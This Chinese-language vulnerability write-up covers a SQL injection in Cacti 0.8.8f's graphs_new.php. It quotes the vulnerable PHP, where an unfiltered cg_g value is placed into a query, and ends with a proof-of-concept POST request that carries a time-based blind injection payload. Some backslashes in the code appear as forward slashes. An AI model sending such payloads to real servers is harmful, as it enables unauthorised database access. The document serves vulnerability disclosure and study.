Cacti 0.8.8f graphs_new.php SQL注入漏洞

Cacti是一套网络流量监测图形分析工具。它有非常强大的数据和用户管理功能，可以指定每一个用户能查看树状结 构、host以及任何一张图，还可以与LDAP结合进行用户验证，同时也能自己增加模板，功能非常强大。

graphs_new.php

function form_save() {     if (isset($_POST["save_component_graph"])) {         /* summarize the 'create graph from host template/snmp index' stuff into an array */         while (list($var, $val) = each($_POST)) {             if (preg_match('/^cg_(/d+)$/', $var, $matches)) {                 $selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;              //cg_g is not filtered              }elseif (preg_match('/^cg_g$/', $var)) {                 if ($_POST["cg_g"] > 0) {                     $selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true;  //给数组赋值                  }             }elseif (preg_match('/^sg_(/d+)_([a-f0-9]{32})$/', $var, $matches)) {                 $selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;             }         }          if (isset($selected_graphs)) {             host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);//调用漏洞函数             exit;         }          header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);     }      if (isset($_POST["save_component_new_graphs"])) {         host_new_graphs_save();          header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);     } }   function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {     /* we use object buffering on this page to allow redirection to another page if no     fields are actually drawn */     ob_start();      include_once("./include/top_header.php");      print "<form method='post' action='graphs_new.php'>/n";      $snmp_query_id = 0;     $num_output_fields = array();      while (list($form_type, $form_array) = each($selected_graphs_array)) {//便利数组         while (list($form_id1, $form_array2) = each($form_array)) {//继续便利数组，将数组中的key提取出来作为form_id1，form_id2             if ($form_type == "cg") {                 $graph_template_id = $form_id1; //赋值                 //sql injection in graph_template_id                 html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");//带入查询             }elseif ($form_type == "sg") {                 while (list($form_id2, $form_array3) = each($form_array2)) {                     /* ================= input validation ================= */                     input_validate_input_number($snmp_query_id);                     /* ==================================================== */                      $snmp_query_id = $form_id1;                     $snmp_query_graph_id = $form_id2;

POC

POST /cacti/graphs_new.php HTTP/1.1 Host: 192.168.217.133 Content-Type: application/x-www-form-urlencoded Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2 Content-Length: 189  __csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save